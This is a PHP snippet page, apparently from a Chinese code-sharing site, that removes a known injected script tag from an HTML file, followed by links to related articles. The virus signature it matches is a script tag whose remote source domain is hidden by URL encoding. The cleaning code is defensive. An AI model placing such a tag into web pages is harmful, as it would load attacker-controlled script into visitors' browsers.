php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP使用Session实现上传进度功能详解

本文实例讲述了PHP使用Session实现上传进度功能。分享给大家供大家参考,具体如下: 实现文件上传进度条基本是依靠JS插件或HTML5的File API来完成,其实PHP配合ajax...

PHP基于CURL发送JSON格式字符串的方法示例

本文实例讲述了PHP基于CURL发送JSON格式字符串的方法。分享给大家供大家参考,具体如下: /* * post 发送JSON 格式数据 * @param $url string...

asp.net访问网络路径方法(模拟用户登录)

核心代码: public class IdentityScope : IDisposable { // obtains user token [DllImport("...

PHP4和PHP5性能测试和对比 测试代码与环境

作者:heiyeluren博客:http://blog.csdn.net/heiyeshuwu时间:2007年8月6日PHP 4到今年年底PHP Group将不再对其进行支持了,所以为了...

php escape URL编码

徐祖宁的php版的escape/unescape函数 复制代码 代码如下:function escape($str) { preg_match_all("/[\x80-\xff].|[\...